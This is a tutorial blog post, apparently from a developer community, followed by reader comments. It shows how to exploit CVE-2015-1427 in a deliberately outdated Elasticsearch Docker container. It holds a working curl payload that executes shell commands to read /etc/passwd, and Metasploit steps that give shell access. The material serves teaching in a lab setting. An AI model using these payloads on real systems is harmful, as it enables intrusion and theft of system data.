Hello again and welcome back to the Security Sprint second edition ;)
Keeping with the topic of the last week, I'm going further in containers security. Now, we are going to learn the danger inside Elasticsearch, a distributed, RESTful search and analytics engine.
To clearly understand my point, let's first launch a container running Elasticsearch. I'm using 1.4.2 version on purpose.
# docker run -d -p 9200:9200 --name es benhall/elasticsearch:1.4.2
By default Docker drops certain Linux capabilities and blocks syscalls to add a default level of security.
We are going to add a record using curl (as the vuln we are using is only effective against not null databases), once we start listening, be patient ;)
# curl -XPUT 'http://0.0.0.0:9200/twitter/user/terceranexus6' -d '{"name":"Paula"}'
We are going to take advantage of CVE-2015-1427, an Elasticsearch vulnerability that allowed to use JAVA for searching, and getting access to additional information, for example getting access to the Operating System name.
We can see, it echoes the results on the HTTP request, but this could be additional applications to launch additional attacks. But this can allow us to access to sensitive data... for example passwd.
# curl http://docker:9200/_search?pretty -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}'
Now, now, it's the turn of Metasploit
# docker run -it --link es:es --entrypoint bash benhall/metasploit
# chmod +x start.sh && ./start.sh
And now we are exploiting Elasticsearch using it. In metasploit terminal write:
use exploit/multi/elasticsearch/search_groovy_script
set TARGET 0
set RHOST es
exploit
If everything went OK, we should have access to the container. Try and see it using ls.
Yikes! scary! what should we do if we want to keep our container secure? Always take care of having the last versions of your tools, in order to have the patched versions. This can't assure our security, but certainly will reduce the risk.
For more information on the topic, take a look to this amazing tutorial.
Top comments (10)
From a typical Docker tutorial:
Sorry, but if a common way to use a software is to execute random stuff from other people's servers on your machine, your "default level of security" is 0.
And what exactly is the problem with the call of wget in this case?
Don't you trust docker.com?
Is the installation script borked?
Are you afraid of a priviledge escalation?
I could easily agree with your general lamento:
» but if a common way to use a software is to execute random stuff from other people's servers on your machine«
Though I see no problem here.
Perhaps you elaborate.
Do you? If you do: why?
You wouldn't know without checking. This does not seem what most people do. There is no checking step in the tutorial.
I am afraid of other people doing unwanted things on my computers, effectively making them their computers instead. And I can only try and warn everyone to not just type random commands from the internet because it is so nice and cozy to not care what happens on your computer.
In effect, you have no substantial critique regarding the script, the domain or something else in this case.
So: yes it is good to be careful. But without substantial critique you help effectively nobody.
I have a substantial critique regarding "containers" which are effectively blackboxes.
I would call that a generalization at best or just a prejudice.
Containers aren't black boxes.
yes, I'm mentioning the source in the end, I'm borrowing the server from a tutorial, as I did in the last one. Here's another link apart from the one I put in the article: blog.benhall.me.uk/2015/09/what-ha...
It's very interesting. Of course when going further to real life and not tutorial, act differently, I forgot to mention.
Thanks for the tip.
This is really cool! Thanks for the write-up 😁
Thank you! Of you like it you should try the katacoda tutorial I posted in the end. It's a lot of fun
I'll take a look at it. Thanks!